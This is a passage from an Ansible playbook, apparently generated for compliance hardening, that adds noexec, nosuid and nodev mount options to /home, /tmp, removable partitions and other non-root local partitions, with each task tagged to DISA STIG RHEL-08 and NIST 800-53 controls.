    - DISA-STIG-RHEL-08-040121
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_nosuid
    - no_reboot_needed

  - name: 'Add noexec Option to /home: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/home'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-010590
    - NIST-800-53-CM-6(b)
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_home_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /home: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-010590
    - NIST-800-53-CM-6(b)
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_home_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /home: If /home not mounted, craft mount_info manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /home
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-010590
    - NIST-800-53-CM-6(b)
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_home_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /home: Make sure noexec option is part of the to /home
      options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''noexec''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - mount_info is defined and &quot;noexec&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-010590
    - NIST-800-53-CM-6(b)
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_home_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /home: Ensure /home is mounted with noexec option'
    ansible.posix.mount:
      path: /home
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-010590
    - NIST-800-53-CM-6(b)
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_home_noexec
    - no_reboot_needed

  - name: 'Add nosuid Option to /home: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/home'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/home&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-010570
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_home_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /home: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/home&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-010570
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_home_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /home: If /home not mounted, craft mount_info manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /home
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/home&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-010570
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_home_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /home: Make sure nosuid option is part of the to /home
      options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nosuid''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/home&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;nosuid&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-010570
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_home_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /home: Ensure /home is mounted with nosuid option'
    ansible.posix.mount:
      path: /home
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/home&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-010570
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_home_nosuid
    - no_reboot_needed

  - name: 'Add nodev Option to Non-Root Local Partitions: Refresh facts'
    ansible.builtin.setup:
      gather_subset: mounts
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-010580
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_nodev_nonroot_local_partitions
    - no_reboot_needed

  - name: 'Add nodev Option to Non-Root Local Partitions: Define excluded (non-local)
      file systems'
    ansible.builtin.set_fact:
      excluded_fstypes:
      - afs
      - autofs
      - ceph
      - cifs
      - smb3
      - smbfs
      - sshfs
      - ncpfs
      - ncp
      - nfs
      - nfs4
      - gfs
      - gfs2
      - glusterfs
      - gpfs
      - pvfs2
      - ocfs2
      - lustre
      - davfs
      - fuse.sshfs
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-010580
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_nodev_nonroot_local_partitions
    - no_reboot_needed

  - name: 'Add nodev Option to Non-Root Local Partitions: Ensure non-root local partitions
      are mounted with nodev option'
    ansible.posix.mount:
      path: '{{ item.mount }}'
      src: '{{ item.device }}'
      opts: '{{ item.options }},nodev'
      state: mounted
      fstype: '{{ item.fstype }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - item.mount is match('/\w')
    - item.mount is not match('/(boot|efi)')
    - item.options is not search('nodev')
    - item.fstype not in excluded_fstypes
    - (not accounts_polyinstantiated_var_tmp | default(false)) or item.mount != '/var/tmp/tmp-inst'
    - (not accounts_polyinstantiated_tmp | default(false)) or item.mount != '/tmp/tmp-inst'
    with_items:
    - '{{ ansible_facts.mounts }}'
    tags:
    - DISA-STIG-RHEL-08-010580
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_nodev_nonroot_local_partitions
    - no_reboot_needed

  - name: 'Add nodev Option to Non-Root Local Partitions: Ensure nodev option in /etc/fstab
      for non-root local partitions'
    ansible.builtin.replace:
      path: /etc/fstab
      regexp: ^\s*(?!#)(/dev/\S+|UUID=\S+)\s+(/(?!boot|efi)\w\S*)\s+(\S+)\s+(?!.*\bnodev\b)(\S+)(.*)$
      replace: \1 \2 \3 \4,nodev \5
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-010580
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_nodev_nonroot_local_partitions
    - no_reboot_needed

  - name: Ensure permission nodev are set on var_removable_partition
    ansible.builtin.lineinfile:
      path: /etc/fstab
      regexp: ^\s*({{ var_removable_partition }})\s+([^\s]*)\s+([^\s]*)\s+([^\s]*)(.*)$
      backrefs: true
      line: \1 \2 \3 \4,nodev \5
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-010600
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_nodev_removable_partitions
    - no_reboot_needed

  - name: Ensure permission noexec are set on var_removable_partition
    ansible.builtin.lineinfile:
      path: /etc/fstab
      regexp: ^\s*({{ var_removable_partition }})\s+([^\s]*)\s+([^\s]*)\s+([^\s]*)(.*)$
      backrefs: true
      line: \1 \2 \3 \4,noexec \5
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-010610
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_noexec_removable_partitions
    - no_reboot_needed

  - name: Ensure permission nosuid are set on var_removable_partition
    ansible.builtin.lineinfile:
      path: /etc/fstab
      regexp: ^\s*({{ var_removable_partition }})\s+([^\s]*)\s+([^\s]*)\s+([^\s]*)(.*)$
      backrefs: true
      line: \1 \2 \3 \4,nosuid \5
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-010620
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_nosuid_removable_partitions
    - no_reboot_needed

  - name: 'Add nodev Option to /tmp: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/tmp'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040123
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /tmp: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040123
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /tmp: If /tmp not mounted, craft mount_info manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /tmp
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040123
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /tmp: Make sure nodev option is part of the to /tmp
      options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nodev''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;nodev&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040123
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /tmp: Ensure /tmp is mounted with nodev option'
    ansible.posix.mount:
      path: /tmp
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040123
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_nodev
    - no_reboot_needed

  - name: 'Add noexec Option to /tmp: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/tmp'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040125
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /tmp: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040125
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /tmp: If /tmp not mounted, craft mount_info manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /tmp
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040125
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /tmp: Make sure noexec option is part of the to /tmp
      options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''noexec''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
